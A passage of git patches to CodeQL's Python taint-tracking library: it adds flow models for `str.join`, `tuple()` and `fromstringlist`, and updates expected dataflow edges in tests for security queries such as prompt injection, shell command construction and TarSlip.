| | scopes.rb:84:11:84:13 | msg | -| scopes.rb:86:18:86:21 | name | | ssa.rb:1:1:16:3 | self | | ssa.rb:1:1:103:3 | self | | ssa.rb:1:7:1:7 | b | From ad97b6dd644700a76372838a7f0fd002a98e383a Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Tue, 2 Jun 2026 14:05:07 +0100 Subject: [PATCH 029/143] Use access path for `str.join` model --- .../new/internal/TaintTrackingPrivate.qll | 5 ----- .../ql/lib/semmle/python/frameworks/Stdlib.qll | 17 +++++++++++++++++ 2 files changed, 17 insertions(+), 5 deletions(-) diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll b/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll index 636e65dc088..02c43f874bf 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/TaintTrackingPrivate.qll @@ -150,11 +150,6 @@ predicate stringManipulation(DataFlow::CfgNode nodeFrom, DataFlow::CfgNode nodeT nodeFrom.getNode() = object and method_name in ["partition", "rpartition", "rsplit", "split", "splitlines"] or - // Iterable[str] -> str - // TODO: check if these should be handled differently in regards to content - method_name = "join" and - nodeFrom.getNode() = call.getArg(0) - or // Mapping[str, Any] -> str method_name = "format_map" and nodeFrom.getNode() = call.getArg(0) diff --git a/python/ql/lib/semmle/python/frameworks/Stdlib.qll b/python/ql/lib/semmle/python/frameworks/Stdlib.qll index 1e0bd846181..6dc66fb2fd4 100644 --- a/python/ql/lib/semmle/python/frameworks/Stdlib.qll +++ b/python/ql/lib/semmle/python/frameworks/Stdlib.qll @@ -4976,6 +4976,23 @@ module StdlibPrivate { } } + /** A flow summary for `str.join`. */ + class StrJoinSummary extends SummarizedCallable::Range { + StrJoinSummary() { this = "str.join" } + + override DataFlow::CallCfgNode getACall() { result.(DataFlow::MethodCallNode).calls(_, "join") } + + override DataFlow::ArgumentNode getACallback() { + result.(DataFlow::AttrRead).getAttributeName() = "join" + } + + override predicate propagatesFlow(string input, string output, boolean preservesValue) { + input = ["Argument[0,iterable:]", "Argument[0,iterable:].ListElement"] and + output = "ReturnValue" and + preservesValue = false + } + } + // --------------------------------------------------------------------------- // asyncio // --------------------------------------------------------------------------- From dede5bc49bcaab2f9bef0b8a0025bf62cbabb85d Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Tue, 2 Jun 2026 14:18:28 +0100 Subject: [PATCH 030/143] Track flow through `tuple()` with list with tainted elements --- python/ql/lib/semmle/python/frameworks/Stdlib.qll | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/python/ql/lib/semmle/python/frameworks/Stdlib.qll b/python/ql/lib/semmle/python/frameworks/Stdlib.qll index 6dc66fb2fd4..05e7a629de6 100644 --- a/python/ql/lib/semmle/python/frameworks/Stdlib.qll +++ b/python/ql/lib/semmle/python/frameworks/Stdlib.qll @@ -4277,9 +4277,7 @@ module StdlibPrivate { preservesValue = true ) or - // TODO: We need to also translate iterable content such as list element - // but we currently lack TupleElementAny - input = "Argument[0]" and + input = ["Argument[0]", "Argument[0].ListElement"] and output = "ReturnValue" and preservesValue = false } From c3ef1ddd64a2616fba1624132de647c65a00169b Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Tue, 2 Jun 2026 16:14:15 +0100 Subject: [PATCH 031/143] Add MaD models for lxml and xml etree.fromstringlist --- python/ql/lib/semmle/python/frameworks/lxml.model.yml | 6 ++++++ python/ql/lib/semmle/python/frameworks/xml.model.yml | 6 ++++++ 2 files changed, 12 insertions(+) create mode 100644 python/ql/lib/semmle/python/frameworks/lxml.model.yml create mode 100644 python/ql/lib/semmle/python/frameworks/xml.model.yml diff --git a/python/ql/lib/semmle/python/frameworks/lxml.model.yml b/python/ql/lib/semmle/python/frameworks/lxml.model.yml new file mode 100644 index 00000000000..77e69758ae8 --- /dev/null +++ b/python/ql/lib/semmle/python/frameworks/lxml.model.yml @@ -0,0 +1,6 @@ +extensions: + - addsTo: + pack: codeql/python-all + extensible: summaryModel + data: + - ['lxml', 'Member[etree].Member[fromstringlist]', 'Argument[0,strings:].ListElement', 'ReturnValue', 'taint'] diff --git a/python/ql/lib/semmle/python/frameworks/xml.model.yml b/python/ql/lib/semmle/python/frameworks/xml.model.yml new file mode 100644 index 00000000000..96ea8480f93 --- /dev/null +++ b/python/ql/lib/semmle/python/frameworks/xml.model.yml @@ -0,0 +1,6 @@ +extensions: + - addsTo: + pack: codeql/python-all + extensible: summaryModel + data: + - ['xml', 'Member[etree].Member[fromstringlist]', 'Argument[0,strings:].ListElement', 'ReturnValue', 'taint'] From f62ebef9e0c47703e4792492ba13fedfd3abe1f4 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Tue, 2 Jun 2026 09:45:50 +0100 Subject: [PATCH 032/143] Adjust expected test output --- .../PromptInjection.expected | 20 +++++++++++++++++++ .../CWE-1427-PromptInjection/openai_test.py | 2 +- .../test_collections.py | 4 ++-- .../frameworks/tornado/taint_test.py | 8 ++++---- .../UnsafeShellCommandConstruction.expected | 10 ++++++++-- 5 files changed, 35 insertions(+), 9 deletions(-) diff --git a/python/ql/test/experimental/query-tests/Security/CWE-1427-PromptInjection/PromptInjection.expected b/python/ql/test/experimental/query-tests/Security/CWE-1427-PromptInjection/PromptInjection.expected index fbf4ae3fd98..6e814aac496 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-1427-PromptInjection/PromptInjection.expected +++ b/python/ql/test/experimental/query-tests/Security/CWE-1427-PromptInjection/PromptInjection.expected @@ -13,6 +13,7 @@ | openai_test.py:17:22:17:46 | ControlFlowNode for BinaryExpr | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | openai_test.py:17:22:17:46 | ControlFlowNode for BinaryExpr | This prompt construction depends on a $@. | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | user-provided value | | openai_test.py:18:15:18:19 | ControlFlowNode for query | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | openai_test.py:18:15:18:19 | ControlFlowNode for query | This prompt construction depends on a $@. | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | user-provided value | | openai_test.py:22:22:22:46 | ControlFlowNode for BinaryExpr | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | openai_test.py:22:22:22:46 | ControlFlowNode for BinaryExpr | This prompt construction depends on a $@. | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | user-provided value | +| openai_test.py:23:15:37:9 | ControlFlowNode for List | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | openai_test.py:23:15:37:9 | ControlFlowNode for List | This prompt construction depends on a $@. | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | user-provided value | | openai_test.py:26:28:26:51 | ControlFlowNode for BinaryExpr | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | openai_test.py:26:28:26:51 | ControlFlowNode for BinaryExpr | This prompt construction depends on a $@. | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | user-provided value | | openai_test.py:33:33:33:37 | ControlFlowNode for query | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | openai_test.py:33:33:33:37 | ControlFlowNode for query | This prompt construction depends on a $@. | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | user-provided value | | openai_test.py:41:22:41:46 | ControlFlowNode for BinaryExpr | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | openai_test.py:41:22:41:46 | ControlFlowNode for BinaryExpr | This prompt construction depends on a $@. | openai_test.py:2:26:2:32 | ControlFlowNode for ImportMember | user-provided value | @@ -31,11 +32,13 @@ edges | agent_instructions.py:7:5:7:9 | ControlFlowNode for input | agent_instructions.py:9:50:9:89 | ControlFlowNode for BinaryExpr | provenance | Sink:MaD:11 | | agent_instructions.py:7:13:7:19 | ControlFlowNode for request | agent_instructions.py:7:13:7:24 | ControlFlowNode for Attribute | provenance | AdditionalTaintStep | | agent_instructions.py:7:13:7:24 | ControlFlowNode for Attribute | agent_instructions.py:7:13:7:37 | ControlFlowNode for Attribute() | provenance | dict.get | +| agent_instructions.py:7:13:7:24 | ControlFlowNode for Attribute | agent_instructions.py:7:13:7:37 | ControlFlowNode for Attribute() | provenance | dict.get(input) | | agent_instructions.py:7:13:7:37 | ControlFlowNode for Attribute() | agent_instructions.py:7:5:7:9 | ControlFlowNode for input | provenance | | | agent_instructions.py:17:5:17:9 | ControlFlowNode for input | agent_instructions.py:25:28:25:32 | ControlFlowNode for input | provenance | | | agent_instructions.py:17:5:17:9 | ControlFlowNode for input | agent_instructions.py:35:28:35:32 | ControlFlowNode for input | provenance | | | agent_instructions.py:17:13:17:19 | ControlFlowNode for request | agent_instructions.py:17:13:17:24 | ControlFlowNode for Attribute | provenance | AdditionalTaintStep | | agent_instructions.py:17:13:17:24 | ControlFlowNode for Attribute | agent_instructions.py:17:13:17:37 | ControlFlowNode for Attribute() | provenance | dict.get | +| agent_instructions.py:17:13:17:24 | ControlFlowNode for Attribute | agent_instructions.py:17:13:17:37 | ControlFlowNode for Attribute() | provenance | dict.get(input) | | agent_instructions.py:17:13:17:37 | ControlFlowNode for Attribute() | agent_instructions.py:17:5:17:9 | ControlFlowNode for input | provenance | | | anthropic_test.py:2:26:2:32 | ControlFlowNode for ImportMember | anthropic_test.py:2:26:2:32 | ControlFlowNode for request | provenance | | | anthropic_test.py:2:26:2:32 | ControlFlowNode for request | anthropic_test.py:11:15:11:21 | ControlFlowNode for request | provenance | | @@ -61,6 +64,7 @@ edges | openai_test.py:12:5:12:11 | ControlFlowNode for persona | openai_test.py:17:22:17:46 | ControlFlowNode for BinaryExpr | provenance | Sink:MaD:10 | | openai_test.py:12:5:12:11 | ControlFlowNode for persona | openai_test.py:22:22:22:46 | ControlFlowNode for BinaryExpr | provenance | Sink:MaD:10 | | openai_test.py:12:5:12:11 | ControlFlowNode for persona | openai_test.py:26:28:26:51 | ControlFlowNode for BinaryExpr | provenance | | +| openai_test.py:12:5:12:11 | ControlFlowNode for persona | openai_test.py:26:28:26:51 | ControlFlowNode for BinaryExpr | provenance | | | openai_test.py:12:5:12:11 | ControlFlowNode for persona | openai_test.py:41:22:41:46 | ControlFlowNode for BinaryExpr | provenance | Sink:MaD:10 | | openai_test.py:12:5:12:11 | ControlFlowNode for persona | openai_test.py:63:28:63:51 | ControlFlowNode for BinaryExpr | provenance | Sink:MaD:8 | | openai_test.py:12:5:12:11 | ControlFlowNode for persona | openai_test.py:80:28:80:51 | ControlFlowNode for BinaryExpr | provenance | Sink:MaD:8 | @@ -71,6 +75,7 @@ edges | openai_test.py:12:15:12:41 | ControlFlowNode for Attribute() | openai_test.py:12:5:12:11 | ControlFlowNode for persona | provenance | | | openai_test.py:13:5:13:9 | ControlFlowNode for query | openai_test.py:18:15:18:19 | ControlFlowNode for query | provenance | Sink:MaD:9 | | openai_test.py:13:5:13:9 | ControlFlowNode for query | openai_test.py:33:33:33:37 | ControlFlowNode for query | provenance | | +| openai_test.py:13:5:13:9 | ControlFlowNode for query | openai_test.py:33:33:33:37 | ControlFlowNode for query | provenance | | | openai_test.py:13:5:13:9 | ControlFlowNode for query | openai_test.py:42:15:42:19 | ControlFlowNode for query | provenance | Sink:MaD:9 | | openai_test.py:13:5:13:9 | ControlFlowNode for query | openai_test.py:53:33:53:37 | ControlFlowNode for query | provenance | | | openai_test.py:13:5:13:9 | ControlFlowNode for query | openai_test.py:67:28:67:32 | ControlFlowNode for query | provenance | Sink:MaD:8 | @@ -79,6 +84,14 @@ edges | openai_test.py:13:13:13:19 | ControlFlowNode for request | openai_test.py:13:13:13:24 | ControlFlowNode for Attribute | provenance | AdditionalTaintStep | | openai_test.py:13:13:13:24 | ControlFlowNode for Attribute | openai_test.py:13:13:13:37 | ControlFlowNode for Attribute() | provenance | dict.get | | openai_test.py:13:13:13:37 | ControlFlowNode for Attribute() | openai_test.py:13:5:13:9 | ControlFlowNode for query | provenance | | +| openai_test.py:24:13:27:13 | ControlFlowNode for Dict [Dictionary element at key content] | openai_test.py:23:15:37:9 | ControlFlowNode for List | provenance | Sink:MaD:9 Sink:MaD:9 | +| openai_test.py:26:28:26:51 | ControlFlowNode for BinaryExpr | openai_test.py:24:13:27:13 | ControlFlowNode for Dict [Dictionary element at key content] | provenance | | +| openai_test.py:28:13:36:13 | ControlFlowNode for Dict [Dictionary element at key content, List element, Dictionary element at key text] | openai_test.py:23:15:37:9 | ControlFlowNode for List | provenance | Sink:MaD:9 Sink:MaD:9 | +| openai_test.py:28:13:36:13 | ControlFlowNode for Dict [Dictionary element at key content, List element, Dictionary element at key text] | openai_test.py:23:15:37:9 | ControlFlowNode for List | provenance | Sink:MaD:9 Sink:MaD:9 Sink:MaD:9 | +| openai_test.py:28:13:36:13 | ControlFlowNode for Dict [Dictionary element at key content, List element, Dictionary element at key text] | openai_test.py:23:15:37:9 | ControlFlowNode for List | provenance | Sink:MaD:9 Sink:MaD:9 Sink:MaD:9 Sink:MaD:9 | +| openai_test.py:30:28:35:17 | ControlFlowNode for List [List element, Dictionary element at key text] | openai_test.py:28:13:36:13 | ControlFlowNode for Dict [Dictionary element at key content, List element, Dictionary element at key text] | provenance | | +| openai_test.py:31:21:34:21 | ControlFlowNode for Dict [Dictionary element at key text] | openai_test.py:30:28:35:17 | ControlFlowNode for List [List element, Dictionary element at key text] | provenance | | +| openai_test.py:33:33:33:37 | ControlFlowNode for query | openai_test.py:31:21:34:21 | ControlFlowNode for Dict [Dictionary element at key text] | provenance | | models | 1 | Sink: Anthropic; Member[beta].Member[messages].Member[create].Argument[messages:].ListElement.DictionaryElement[content]; prompt-injection | | 2 | Sink: Anthropic; Member[beta].Member[messages].Member[create].Argument[system:]; prompt-injection | @@ -136,7 +149,14 @@ nodes | openai_test.py:17:22:17:46 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | | openai_test.py:18:15:18:19 | ControlFlowNode for query | semmle.label | ControlFlowNode for query | | openai_test.py:22:22:22:46 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | +| openai_test.py:23:15:37:9 | ControlFlowNode for List | semmle.label | ControlFlowNode for List | +| openai_test.py:24:13:27:13 | ControlFlowNode for Dict [Dictionary element at key content] | semmle.label | ControlFlowNode for Dict [Dictionary element at key content] | | openai_test.py:26:28:26:51 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | +| openai_test.py:26:28:26:51 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | +| openai_test.py:28:13:36:13 | ControlFlowNode for Dict [Dictionary element at key content, List element, Dictionary element at key text] | semmle.label | ControlFlowNode for Dict [Dictionary element at key content, List element, Dictionary element at key text] | +| openai_test.py:30:28:35:17 | ControlFlowNode for List [List element, Dictionary element at key text] | semmle.label | ControlFlowNode for List [List element, Dictionary element at key text] | +| openai_test.py:31:21:34:21 | ControlFlowNode for Dict [Dictionary element at key text] | semmle.label | ControlFlowNode for Dict [Dictionary element at key text] | +| openai_test.py:33:33:33:37 | ControlFlowNode for query | semmle.label | ControlFlowNode for query | | openai_test.py:33:33:33:37 | ControlFlowNode for query | semmle.label | ControlFlowNode for query | | openai_test.py:41:22:41:46 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | | openai_test.py:42:15:42:19 | ControlFlowNode for query | semmle.label | ControlFlowNode for query | diff --git a/python/ql/test/experimental/query-tests/Security/CWE-1427-PromptInjection/openai_test.py b/python/ql/test/experimental/query-tests/Security/CWE-1427-PromptInjection/openai_test.py index 2b25609670c..8ea014c62b4 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-1427-PromptInjection/openai_test.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-1427-PromptInjection/openai_test.py @@ -34,7 +34,7 @@ async def get_input_openai(): } ] } - ] + ] # $ Alert[py/prompt-injection] ) response3 = await async_client.responses.create( diff --git a/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_collections.py b/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_collections.py index b9fa1ebffd4..fa6087f3ebc 100644 --- a/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_collections.py +++ b/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_collections.py @@ -40,11 +40,11 @@ def test_construction(): dict(k = tainted_string)["k"], # $ tainted dict(dict(k = tainted_string))["k"], # $ tainted dict(["k", tainted_string]), # $ tainted + list(tainted_dict.items()), # $ tainted ) ensure_not_tainted( dict(k = tainted_string)["k1"], - list(tainted_dict.items()), ) @@ -59,7 +59,7 @@ def test_access(x, y, z): sorted(tainted_list), # $ tainted reversed(tainted_list), # $ tainted iter(tainted_list), # $ tainted - next(iter(tainted_list)), # $ MISSING: tainted + next(iter(tainted_list)), # $ tainted [i for i in tainted_list], # $ tainted [tainted_list for _i in [1,2,3]], # $ tainted ) diff --git a/python/ql/test/library-tests/frameworks/tornado/taint_test.py b/python/ql/test/library-tests/frameworks/tornado/taint_test.py index d6dac013fbc..2a683d59d9c 100644 --- a/python/ql/test/library-tests/frameworks/tornado/taint_test.py +++ b/python/ql/test/library-tests/frameworks/tornado/taint_test.py @@ -72,11 +72,11 @@ class TaintTest(tornado.web.RequestHandler): request.cookies["cookie-name"].key, # $ tainted request.cookies["cookie-name"].value, # $ tainted request.cookies["cookie-name"].coded_value, # $ tainted - ) - ensure_not_tainted( - [(k, v) for (k, v) in request.headers.get_all()], # The comprehension is not tainted, only the elements - list([(k, v) for (k, v) in request.headers.get_all()]), # Here, all the elements of the list are tainted, but the list is not. + # The comprehension is not tainted, only the elements, but this passes due to implicit reads at sinks + [(k, v) for (k, v) in request.headers.get_all()], # $ tainted + # The list is not tainted, only the elements, but this passes due to implicit reads at sinks + list([(k, v) for (k, v) in request.headers.get_all()]), # $ tainted ) diff --git a/python/ql/test/query-tests/Security/CWE-078-UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.expected b/python/ql/test/query-tests/Security/CWE-078-UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.expected index e53508f61a5..3bc075d618b 100644 --- a/python/ql/test/query-tests/Security/CWE-078-UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.expected +++ b/python/ql/test/query-tests/Security/CWE-078-UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.expected @@ -1,10 +1,13 @@ edges | src/unsafe_shell_test.py:4:22:4:25 | ControlFlowNode for name | src/unsafe_shell_test.py:5:25:5:28 | ControlFlowNode for name | provenance | | | src/unsafe_shell_test.py:4:22:4:25 | ControlFlowNode for name | src/unsafe_shell_test.py:8:23:8:26 | ControlFlowNode for name | provenance | | -| src/unsafe_shell_test.py:4:22:4:25 | ControlFlowNode for name | src/unsafe_shell_test.py:11:25:11:38 | ControlFlowNode for Attribute() | provenance | | -| src/unsafe_shell_test.py:4:22:4:25 | ControlFlowNode for name | src/unsafe_shell_test.py:14:25:14:40 | ControlFlowNode for Attribute() | provenance | | +| src/unsafe_shell_test.py:4:22:4:25 | ControlFlowNode for name | src/unsafe_shell_test.py:11:34:11:37 | ControlFlowNode for name | provenance | | +| src/unsafe_shell_test.py:4:22:4:25 | ControlFlowNode for name | src/unsafe_shell_test.py:14:35:14:38 | ControlFlowNode for name | provenance | | | src/unsafe_shell_test.py:4:22:4:25 | ControlFlowNode for name | src/unsafe_shell_test.py:17:32:17:35 | ControlFlowNode for name | provenance | | | src/unsafe_shell_test.py:4:22:4:25 | ControlFlowNode for name | src/unsafe_shell_test.py:20:27:20:30 | ControlFlowNode for name | provenance | | +| src/unsafe_shell_test.py:11:34:11:37 | ControlFlowNode for name | src/unsafe_shell_test.py:11:25:11:38 | ControlFlowNode for Attribute() | provenance | str.join | +| src/unsafe_shell_test.py:14:34:14:39 | ControlFlowNode for List [List element] | src/unsafe_shell_test.py:14:25:14:40 | ControlFlowNode for Attribute() | provenance | str.join | +| src/unsafe_shell_test.py:14:35:14:38 | ControlFlowNode for name | src/unsafe_shell_test.py:14:34:14:39 | ControlFlowNode for List [List element] | provenance | | | src/unsafe_shell_test.py:26:20:26:23 | ControlFlowNode for name | src/unsafe_shell_test.py:29:30:29:33 | ControlFlowNode for name | provenance | | | src/unsafe_shell_test.py:36:22:36:25 | ControlFlowNode for name | src/unsafe_shell_test.py:39:30:39:33 | ControlFlowNode for name | provenance | | | src/unsafe_shell_test.py:36:22:36:25 | ControlFlowNode for name | src/unsafe_shell_test.py:44:20:44:23 | ControlFlowNode for name | provenance | | @@ -15,7 +18,10 @@ nodes | src/unsafe_shell_test.py:5:25:5:28 | ControlFlowNode for name | semmle.label | ControlFlowNode for name | | src/unsafe_shell_test.py:8:23:8:26 | ControlFlowNode for name | semmle.label | ControlFlowNode for name | | src/unsafe_shell_test.py:11:25:11:38 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | +| src/unsafe_shell_test.py:11:34:11:37 | ControlFlowNode for name | semmle.label | ControlFlowNode for name | | src/unsafe_shell_test.py:14:25:14:40 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | +| src/unsafe_shell_test.py:14:34:14:39 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| src/unsafe_shell_test.py:14:35:14:38 | ControlFlowNode for name | semmle.label | ControlFlowNode for name | | src/unsafe_shell_test.py:17:32:17:35 | ControlFlowNode for name | semmle.label | ControlFlowNode for name | | src/unsafe_shell_test.py:20:27:20:30 | ControlFlowNode for name | semmle.label | ControlFlowNode for name | | src/unsafe_shell_test.py:26:20:26:23 | ControlFlowNode for name | semmle.label | ControlFlowNode for name | From 20ce679d611a0e4981604307516034e876282ec7 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Tue, 2 Jun 2026 09:48:46 +0100 Subject: [PATCH 033/143] Accept changed edges in test output No changes to alerts --- .../Security/CWE-022-TarSlip/TarSlip.expected | 26 ++++++++++++++++--- .../UnsafeUnpack.expected | 3 +++ .../RemoteCommandExecution.expected | 6 ++++- .../XsltInjection.expected | 22 +++++++++++----- .../dataflow/summaries/summaries.expected | 8 +----- .../UntrustedDataToExternalAPI.expected | 2 ++ .../ReflectedXss.expected | 2 ++ .../CleartextStorage.expected | 10 ++++--- .../NoSqlInjection.expected | 1 + 9 files changed, 60 insertions(+), 20 deletions(-) diff --git a/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/TarSlip.expected b/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/TarSlip.expected index 97527c300db..6de2b27bfa7 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/TarSlip.expected +++ b/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/TarSlip.expected @@ -3,11 +3,15 @@ edges | TarSlipImprov.py:15:7:15:39 | ControlFlowNode for Attribute() | TarSlipImprov.py:15:1:15:3 | ControlFlowNode for tar | provenance | | | TarSlipImprov.py:17:5:17:10 | ControlFlowNode for member | TarSlipImprov.py:20:19:20:24 | ControlFlowNode for member | provenance | | | TarSlipImprov.py:20:5:20:10 | [post] ControlFlowNode for result | TarSlipImprov.py:22:35:22:40 | ControlFlowNode for result | provenance | | +| TarSlipImprov.py:20:5:20:10 | [post] ControlFlowNode for result [List element] | TarSlipImprov.py:22:35:22:40 | ControlFlowNode for result | provenance | | | TarSlipImprov.py:20:19:20:24 | ControlFlowNode for member | TarSlipImprov.py:20:5:20:10 | [post] ControlFlowNode for result | provenance | list.append | +| TarSlipImprov.py:20:19:20:24 | ControlFlowNode for member | TarSlipImprov.py:20:5:20:10 | [post] ControlFlowNode for result [List element] | provenance | list.append | | TarSlipImprov.py:26:21:26:27 | ControlFlowNode for tarfile | TarSlipImprov.py:28:9:28:14 | ControlFlowNode for member | provenance | | | TarSlipImprov.py:28:9:28:14 | ControlFlowNode for member | TarSlipImprov.py:35:23:35:28 | ControlFlowNode for member | provenance | | | TarSlipImprov.py:35:9:35:14 | [post] ControlFlowNode for result | TarSlipImprov.py:36:12:36:17 | ControlFlowNode for result | provenance | | +| TarSlipImprov.py:35:9:35:14 | [post] ControlFlowNode for result [List element] | TarSlipImprov.py:36:12:36:17 | ControlFlowNode for result [List element] | provenance | | | TarSlipImprov.py:35:23:35:28 | ControlFlowNode for member | TarSlipImprov.py:35:9:35:14 | [post] ControlFlowNode for result | provenance | list.append | +| TarSlipImprov.py:35:23:35:28 | ControlFlowNode for member | TarSlipImprov.py:35:9:35:14 | [post] ControlFlowNode for result [List element] | provenance | list.append | | TarSlipImprov.py:38:1:38:3 | ControlFlowNode for tar | TarSlipImprov.py:39:65:39:67 | ControlFlowNode for tar | provenance | | | TarSlipImprov.py:38:7:38:39 | ControlFlowNode for Attribute() | TarSlipImprov.py:38:1:38:3 | ControlFlowNode for tar | provenance | | | TarSlipImprov.py:39:65:39:67 | ControlFlowNode for tar | TarSlipImprov.py:26:21:26:27 | ControlFlowNode for tarfile | provenance | | @@ -34,16 +38,19 @@ edges | TarSlipImprov.py:142:9:142:13 | ControlFlowNode for entry | TarSlipImprov.py:143:36:143:40 | ControlFlowNode for entry | provenance | | | TarSlipImprov.py:151:14:151:50 | ControlFlowNode for closing() | TarSlipImprov.py:151:55:151:56 | ControlFlowNode for tf | provenance | | | TarSlipImprov.py:151:22:151:49 | ControlFlowNode for Attribute() | TarSlipImprov.py:151:14:151:50 | ControlFlowNode for closing() | provenance | Config | -| TarSlipImprov.py:151:55:151:56 | ControlFlowNode for tf | TarSlipImprov.py:152:13:152:20 | ControlFlowNode for Yield | provenance | | | TarSlipImprov.py:151:55:151:56 | ControlFlowNode for tf | TarSlipImprov.py:152:19:152:20 | ControlFlowNode for tf | provenance | | -| TarSlipImprov.py:152:13:152:20 | ControlFlowNode for Yield | TarSlipImprov.py:157:18:157:40 | ControlFlowNode for py2_tarxz() | provenance | | +| TarSlipImprov.py:152:13:152:20 | ControlFlowNode for Yield [List element] | TarSlipImprov.py:157:18:157:40 | ControlFlowNode for py2_tarxz() [List element] | provenance | | +| TarSlipImprov.py:152:19:152:20 | ControlFlowNode for tf | TarSlipImprov.py:152:13:152:20 | ControlFlowNode for Yield [List element] | provenance | | | TarSlipImprov.py:152:19:152:20 | ControlFlowNode for tf | TarSlipImprov.py:157:18:157:40 | ControlFlowNode for py2_tarxz() | provenance | | | TarSlipImprov.py:157:9:157:14 | ControlFlowNode for tar_cm | TarSlipImprov.py:162:20:162:23 | ControlFlowNode for tarc | provenance | | +| TarSlipImprov.py:157:9:157:14 | ControlFlowNode for tar_cm [List element] | TarSlipImprov.py:162:20:162:23 | ControlFlowNode for tarc [List element] | provenance | | | TarSlipImprov.py:157:18:157:40 | ControlFlowNode for py2_tarxz() | TarSlipImprov.py:157:9:157:14 | ControlFlowNode for tar_cm | provenance | | +| TarSlipImprov.py:157:18:157:40 | ControlFlowNode for py2_tarxz() [List element] | TarSlipImprov.py:157:9:157:14 | ControlFlowNode for tar_cm [List element] | provenance | | | TarSlipImprov.py:159:9:159:14 | ControlFlowNode for tar_cm | TarSlipImprov.py:162:20:162:23 | ControlFlowNode for tarc | provenance | | | TarSlipImprov.py:159:18:159:52 | ControlFlowNode for closing() | TarSlipImprov.py:159:9:159:14 | ControlFlowNode for tar_cm | provenance | | | TarSlipImprov.py:159:26:159:51 | ControlFlowNode for Attribute() | TarSlipImprov.py:159:18:159:52 | ControlFlowNode for closing() | provenance | Config | | TarSlipImprov.py:162:20:162:23 | ControlFlowNode for tarc | TarSlipImprov.py:169:9:169:12 | ControlFlowNode for tarc | provenance | | +| TarSlipImprov.py:162:20:162:23 | ControlFlowNode for tarc [List element] | TarSlipImprov.py:169:9:169:12 | ControlFlowNode for tarc | provenance | | | TarSlipImprov.py:176:6:176:31 | ControlFlowNode for Attribute() | TarSlipImprov.py:176:36:176:38 | ControlFlowNode for tar | provenance | | | TarSlipImprov.py:176:36:176:38 | ControlFlowNode for tar | TarSlipImprov.py:177:9:177:13 | ControlFlowNode for entry | provenance | | | TarSlipImprov.py:177:9:177:13 | ControlFlowNode for entry | TarSlipImprov.py:178:36:178:40 | ControlFlowNode for entry | provenance | | @@ -60,7 +67,9 @@ edges | TarSlipImprov.py:231:43:231:52 | ControlFlowNode for corpus_tar | TarSlipImprov.py:233:9:233:9 | ControlFlowNode for f | provenance | | | TarSlipImprov.py:233:9:233:9 | ControlFlowNode for f | TarSlipImprov.py:235:28:235:28 | ControlFlowNode for f | provenance | | | TarSlipImprov.py:235:13:235:19 | [post] ControlFlowNode for members | TarSlipImprov.py:236:44:236:50 | ControlFlowNode for members | provenance | | +| TarSlipImprov.py:235:13:235:19 | [post] ControlFlowNode for members [List element] | TarSlipImprov.py:236:44:236:50 | ControlFlowNode for members | provenance | | | TarSlipImprov.py:235:28:235:28 | ControlFlowNode for f | TarSlipImprov.py:235:13:235:19 | [post] ControlFlowNode for members | provenance | list.append | +| TarSlipImprov.py:235:28:235:28 | ControlFlowNode for f | TarSlipImprov.py:235:13:235:19 | [post] ControlFlowNode for members [List element] | provenance | list.append | | TarSlipImprov.py:258:6:258:26 | ControlFlowNode for Attribute() | TarSlipImprov.py:258:31:258:33 | ControlFlowNode for tar | provenance | | | TarSlipImprov.py:258:31:258:33 | ControlFlowNode for tar | TarSlipImprov.py:259:9:259:13 | ControlFlowNode for entry | provenance | | | TarSlipImprov.py:259:9:259:13 | ControlFlowNode for entry | TarSlipImprov.py:261:25:261:29 | ControlFlowNode for entry | provenance | | @@ -85,19 +94,24 @@ edges | TarSlipImprov.py:304:7:304:39 | ControlFlowNode for Attribute() | TarSlipImprov.py:304:1:304:3 | ControlFlowNode 